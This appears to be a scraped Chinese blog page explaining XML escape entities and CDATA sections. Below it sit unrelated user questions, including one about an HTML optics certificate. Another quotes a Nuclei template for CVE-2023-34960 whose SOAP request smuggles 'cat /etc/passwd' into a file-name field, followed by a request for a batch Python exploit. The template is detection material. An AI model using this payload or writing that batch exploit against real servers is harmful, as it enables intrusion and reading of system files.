在xml中的一些特殊符号的使用如:> < &等等

XML实体与CDATA解析
本文介绍了XML文档中如何处理特殊字符,包括使用实体来替换非法字符以及利用CDATA部分避免解析器误读。通过实例展示了常见转义字符及其用法。
在我们的xml文档中,每当数据中有'<'、'&'等符号时,封装的XML就无法解析。但是发现XML里有CDATA属性,问题迎刃而解!在XML文档中的所有文本都会被解析器解析。 只有在CDATA部件之内的文本会被解析器忽略。--------------------------------------------------- 解析数据 XML 解析器通常情况下会处理XML文档中的所有文本。 当XML元素被解析的时候,XML元素内部的文本也会被解析:
 <message>This text is also parsed</message>
XML解析器这样做的原因是XML元素内部可能还包含了别的元素,象下面的例子,name元素内部包含了first和last两个元素:
<name><first>Bill</first><last>Gates</last></name>
 解析器会认为上面的代码是这样的:
<name> <first>Bill</first> <last>Gates</last> </name> --------------------------------------------------- 转义字符不合法的XML字符必须被替换为相应的实体。 如果在XML文档中使用类似"<" 的字符, 那么解析器将会出现错误,因为解析器会认为这是一个新元素的开始。所以不应该象下面那样书写代码:
 <message>if salary < 1000 then</message>
为了避免出现这种情况,必须将字符"<" 转换成实体,象下面这样:
 <message>if salary &lt; 1000 then</message> 下面是五个在XML文档中预定义好的实体:

&lt; < 小于号
&gt; > 大于号
&amp; & 和
&apos; ' 单引号
&quot; " 双引号

实体必须以符号"&"开头,以符号";"结尾。 注意: 只有"<" 字符和"&"字符对于XML来说是严格禁止使用的。剩下的都是合法的,为了减少出错,使用实体是一个好习惯。--------------------------------------------------- CDATA部件在CDATA内部的所有内容都会被解析器忽略。如果文本包含了很多的"<"字符和"&"字符——就象程序代码一样,那么最好把他们都放到CDATA部件中。一个 CDATA 部件以"<![CDATA[" 标记开始,以"]]>"标记结束:
<![CDATA[ aaa ]]> 在前面的例子中,所有在CDATA部件之间的文本都会被解析器忽略。
 CDATA注意事项: CDATA部件之间不能再包含CDATA部件(不能嵌套)。如果CDATA部件包含了字符"]]>" 或者"<![CDATA[" ,将很有可能出错哦。同样要注意在字符串"]]>"之间没有空格或者换行符。
案例:

&lt;html&gt;&lt;head&gt;&lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset= =iso-8859-1&quot;&gt; &lt;title&gt;Trioptics Certificate&lt;/title&gt; &lt;link type=&quot;text/css&quot; rel=&quot;stylesheet&quot; href=&quot;certificate.css&quot;&gt;&lt;/link&gt; &lt;base href=&quot;file:///C:/Program%20Files%20(x86)/TRIOPTICS%20GmbH/MTF-LAB%2= 05/Certificates/&quot;&gt;&lt;/base&gt;&lt;/head&gt; &lt;body id=&quot;IBodyCert&quot; class=&quot;CBodyCert&quot;&gt; &lt;!-- open certificate table --&gt; &lt;table align=&quot;left&quot; id=&quot;ITableCert&quot; class=&quot;CTableCert&quot;&gt; &lt;!-- Header --&gt; &lt;tbody&gt;&lt;tr id=&quot;ITRCompany&quot; class=&quot;CTRHeader&quot;&gt; &lt;td id=&quot;ITDCompany&quot; class=&quot;CTDHeader&quot;&gt; &lt;div id=&quot;IDivCompany&quot; class=&quot;CDivHeader&quot;&gt;ImageMaster - Certificate&lt;/div&gt; &lt;/td&gt; &lt;td id=&quot;ITDLogo&quot; class=&quot;CTDHeader&quot;&gt; &lt;img src=&quot;./img/Trioptics-Logo-250x65.png&quot; id=&quot;ITDLogo&quot; class=&quot;CTDHea= der&quot;&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr id=&quot;ITDSlogan&quot; class=&quot;CTRHeader&quot;&gt; &lt;td colspan=&quot;2&quot; id=&quot;ITDSlogan&quot; class=&quot;CTDHeader&quot;&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan=&quot;2&quot;&gt; &lt;pre&gt;Company : ****** Operator : ****** Time/Date : 13:30:33 June 12, 2025 Sample ID : ****** Measure Program : MTF vs. Field Temperature : 20&deg;C Measured with : &lt;a href=&quot;http://www.trioptics.com/&quot;&gt;TRIOPTICS&lt;/a&gt; - MT= F-LAB - Vers. 5.16.1 Instrument S/N : 09-113-0519 Comments : SN215U0540 &lt;/pre&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan=&quot;2&quot;&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan=&quot;2&quot;&gt; &lt;hr&gt; &lt;b&gt;Measurement Parameter: MTF vs. Image Height&lt;/b&gt; &lt;pre&gt;Setup Type : Object Infinite / Image Finite EFL (Collimator): 50 mm Wavelength : 940 nm (NIR) EFL (Sample) : 1.5550 mm F-Number : 2.0000 Object Angle : -0.0198 &deg; Focus Position : 85.8471 Sample Azimuth : 0.0 &deg; &lt;/pre&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan=&quot;2&quot;&gt; &lt;hr&gt; &lt;b&gt;Measurement Graph: MTF vs. Image Height&lt;/b&gt; &lt;br&gt;&lt;br&gt; &lt;right&gt; &lt;img src=&quot;Chart12.png&quot;&gt; &lt;/right&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan=&quot;2&quot;&gt; &lt;hr&gt; &lt;b&gt;Measurement Table: MTF vs. Image Height&lt;/b&gt; &lt;br&gt;&lt;br&gt; &lt;!-- open measurement table --&gt; &lt;table cellspacing=&quot;0&quot; align=&quot;left&quot; id=&quot;ITableDataItems&quot; class=&quot;CTa= bleDataItems&quot;&gt; &lt;!-- begin table caption --&gt; &lt;tbody&gt;&lt;tr id=&quot;ITRDataCaption&quot; class=&quot;CTRDataCaption&quot;&gt; &lt;td id=&quot;ITDCaptionBlank&quot; class=&quot;CTDCaptionBlank&quot;&gt;&lt;/td&gt; &lt;td align=&quot;center&quot; colspan=&quot;5&quot; id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCa= ption&quot;&gt;Image Height (mm)&lt;/td&gt; &lt;/tr&gt; &lt;tr id=&quot;ITRDataCaption&quot; class=&quot;CTRDataCaption&quot;&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;MTF&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;0.42800&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;0.29960&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;-0.00114&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;-0.29960&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;-0.42800&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;Legend&lt;/td&gt; &lt;/tr&gt; &lt;!-- end table caption --&gt; &lt;!-- begin measurement data --&gt; &lt;tr id=&quot;ITRDataItem&quot; class=&quot;CTRDataItem&quot;&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;Tan 100(lp/mm)&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.599&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.677&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.668&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.703&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.645&lt;/td&gt; &lt;td colspan=&quot;1&quot; id=&quot;ITDLegend&quot; class=&quot;CTDLegend&quot;&gt;&lt;font color=&quot;ff000= 0&quot;&gt;&mdash; &mdash; &mdash;&lt;/font&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr id=&quot;ITRDataItem&quot; class=&quot;CTRDataItem&quot;&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;Sag 100(lp/mm)&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.558&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.659&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.673&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.688&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.642&lt;/td&gt; &lt;td colspan=&quot;1&quot; id=&quot;ITDLegend&quot; class=&quot;CTDLegend&quot;&gt;&lt;font color=&quot;ff000= 0&quot;&gt;&mdash;&mdash;&mdash;&mdash;&lt;/font&gt;&lt;/td&gt; &lt;/tr&gt; &lt;!-- end measurement data --&gt; &lt;!-- close measurement table --&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br clear=&quot;all&quot;&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan=&quot;2&quot;&gt; &lt;hr&gt; &lt;b&gt;Measurement Parameter: MTF vs. Object Angle&lt;/b&gt; &lt;pre&gt;Setup Type : Object Infinite / Image Finite EFL (Collimator): 50 mm Wavelength : 940 nm (NIR) EFL (Sample) : 1.5550 mm F-Number : 2.0000 Object Angle : -0.0198 &deg; Focus Position : 85.8471 Sample Azimuth : 0.0 &deg; &lt;/pre&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan=&quot;2&quot;&gt; &lt;hr&gt; &lt;b&gt;Measurement Graph: MTF vs. Object Angle&lt;/b&gt; &lt;br&gt;&lt;br&gt; &lt;right&gt; &lt;img src=&quot;Chart11.png&quot;&gt; &lt;/right&gt; &lt;/td&gt; &lt;/tr&gt; &lt;tr&gt; &lt;td colspan=&quot;2&quot;&gt; &lt;hr&gt; &lt;b&gt;Measurement Table: MTF vs. Object Angle&lt;/b&gt; &lt;br&gt;&lt;br&gt; &lt;!-- open measurement table --&gt; &lt;table cellspacing=&quot;0&quot; align=&quot;left&quot; id=&quot;ITableDataItems&quot; class=&quot;CTa= bleDataItems&quot;&gt; &lt;!-- begin table caption --&gt; &lt;tbody&gt;&lt;tr id=&quot;ITRDataCaption&quot; class=&quot;CTRDataCaption&quot;&gt; &lt;td id=&quot;ITDCaptionBlank&quot; class=&quot;CTDCaptionBlank&quot;&gt;&lt;/td&gt; &lt;td align=&quot;center&quot; colspan=&quot;5&quot; id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCa= ption&quot;&gt;Object Angle (?&lt;/td&gt; &lt;/tr&gt; &lt;tr id=&quot;ITRDataCaption&quot; class=&quot;CTRDataCaption&quot;&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;MTF&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;-15.33590&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;-10.72937&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;0.00072&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;10.77662&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;15.40352&lt;/td&gt; &lt;td id=&quot;ITDDataCaption&quot; class=&quot;CTDDataCaption&quot;&gt;Legend&lt;/td&gt; &lt;/tr&gt; &lt;!-- end table caption --&gt; &lt;!-- begin measurement data --&gt; &lt;tr id=&quot;ITRDataItem&quot; class=&quot;CTRDataItem&quot;&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;Tan 100(lp/mm)&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.599&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.677&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.668&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.703&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.645&lt;/td&gt; &lt;td colspan=&quot;1&quot; id=&quot;ITDLegend&quot; class=&quot;CTDLegend&quot;&gt;&lt;font color=&quot;ff000= 0&quot;&gt;&mdash; &mdash; &mdash;&lt;/font&gt;&lt;/td&gt; &lt;/tr&gt; &lt;tr id=&quot;ITRDataItem&quot; class=&quot;CTRDataItem&quot;&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;Sag 100(lp/mm)&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.558&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.659&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.673&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.688&lt;/td&gt; &lt;td id=&quot;ITDEven&quot; class=&quot;CTDDataItem&quot;&gt;0.642&lt;/td&gt; &lt;td colspan=&quot;1&quot; id=&quot;ITDLegend&quot; class=&quot;CTDLegend&quot;&gt;&lt;font color=&quot;ff000= 0&quot;&gt;&mdash;&mdash;&mdash;&mdash;&lt;/font&gt;&lt;/td&gt; &lt;/tr&gt; &lt;!-- end measurement data --&gt; &lt;!-- close measurement table --&gt; &lt;/tbody&gt;&lt;/table&gt;&lt;br clear=&quot;all&quot;&gt; &lt;/td&gt; &lt;/tr&gt; &lt;!-- close certificate table --&gt; &lt;/tbody&gt;&lt;/table&gt; &lt;/body&gt;&lt;/html&gt; 为啥这个内容调用QDomDocument的setContent会失败
06-28
id: CVE-2023-34960 info: name: Chamilo Command Injection author: DhiyaneshDK severity: critical description: | A command injection vulnerability in the wsConvertPpt component of Chamilo v1.11.* up to v1.11.18 allows attackers to execute arbitrary commands via a SOAP API call with a crafted PowerPoint name. impact: | Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the entire system. remediation: | Apply the latest security patches or updates provided by the vendor to fix the command injection vulnerability in Chamilo LMS. reference: - https://sploitus.com/exploit?id=FD666992-20E1-5D83-BA13-67ED38E1B83D - https://github.com/Aituglo/CVE-2023-34960/blob/master/poc.py - http://chamilo.com - http://packetstormsecurity.com/files/174314/Chamilo-1.11.18-Command-Injection.html - https://support.chamilo.org/projects/1/wiki/Security_issues#Issue-112-2023-04-20-Critical-impact-High-risk-Remote-Code-Execution classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-34960 cwe-id: CWE-77 epss-score: 0.93314 epss-percentile: 0.99067 cpe: cpe:2.3:a:chamilo:chamilo:*:*:*:*:*:*:*:* metadata: verified: &quot;true&quot; max-request: 1 vendor: chamilo product: chamilo shodan-query: - http.component:&quot;Chamilo&quot; - http.component:&quot;chamilo&quot; - cpe:&quot;cpe:2.3:a:chamilo:chamilo&quot; tags: cve,cve2023,packetstorm,chamilo http: - raw: - | POST /main/webservices/additional_webservices.php HTTP/1.1 Host: {{Hostname}} Content-Type: text/xml; charset=utf-8 &lt;?xml version=&quot;1.0&quot; encoding=&quot;UTF-8&quot;?&gt; &lt;SOAP-ENV:Envelope xmlns:SOAP-ENV=&quot;http://schemas.xmlsoap.org/soap/envelope/&quot; xmlns:ns1=&quot;{{RootURL}}&quot; xmlns:xsi=&quot;http://www.w3.org/2001/XMLSchema-instance&quot; xmlns:xsd=&quot;http://www.w3.org/2001/XMLSchema&quot; xmlns:ns2=&quot;http://xml.apache.org/xml-soap&quot; xmlns:SOAP-ENC=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot; SOAP-ENV:encodingStyle=&quot;http://schemas.xmlsoap.org/soap/encoding/&quot;&gt;&lt;SOAP-ENV:Body&gt;&lt;ns1:wsConvertPpt&gt;&lt;param0 xsi:type=&quot;ns2:Map&quot;&gt;&lt;item&gt;&lt;key xsi:type=&quot;xsd:string&quot;&gt;file_data&lt;/key&gt;&lt;value xsi:type=&quot;xsd:string&quot;&gt;&lt;/value&gt;&lt;/item&gt;&lt;item&gt;&lt;key xsi:type=&quot;xsd:string&quot;&gt;file_name&lt;/key&gt;&lt;value xsi:type=&quot;xsd:string&quot;&gt;`{}`.pptx&#39;|&quot; |cat /etc/passwd||a #&lt;/value&gt;&lt;/item&gt;&lt;item&gt;&lt;key xsi:type=&quot;xsd:string&quot;&gt;service_ppt2lp_size&lt;/key&gt;&lt;value xsi:type=&quot;xsd:string&quot;&gt;720x540&lt;/value&gt;&lt;/item&gt;&lt;/param0&gt;&lt;/ns1:wsConvertPpt&gt;&lt;/SOAP-ENV:Body&gt;&lt;/SOAP-ENV:Envelope&gt; matchers-condition: and matchers: - type: regex regex: - &quot;root:.*:0:0:&quot; part: body - type: word part: header words: - text/xml - type: status status: - 200 # digest: 4a0a00473045022034e60ad33e2160ec78cbef2c6c410b14dabd6c3ca8518c21571e310453a24e25022100927e4973b55f38f2cc8ceca640925b7066d4325032b04fb0eca080984080a1d0:922c64590222798bb761d5b6d8e72950根据poc实现python的exp,并且读取当前目录下的文件 批量执行 ,例如,python CVE-2023-34960.py -f .8.txt -c &quot;需要执行的命令&quot; 并将执行成功的结果输出 -o 9.txt 添加选项-o 8.txt的文本文件
03-27
评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值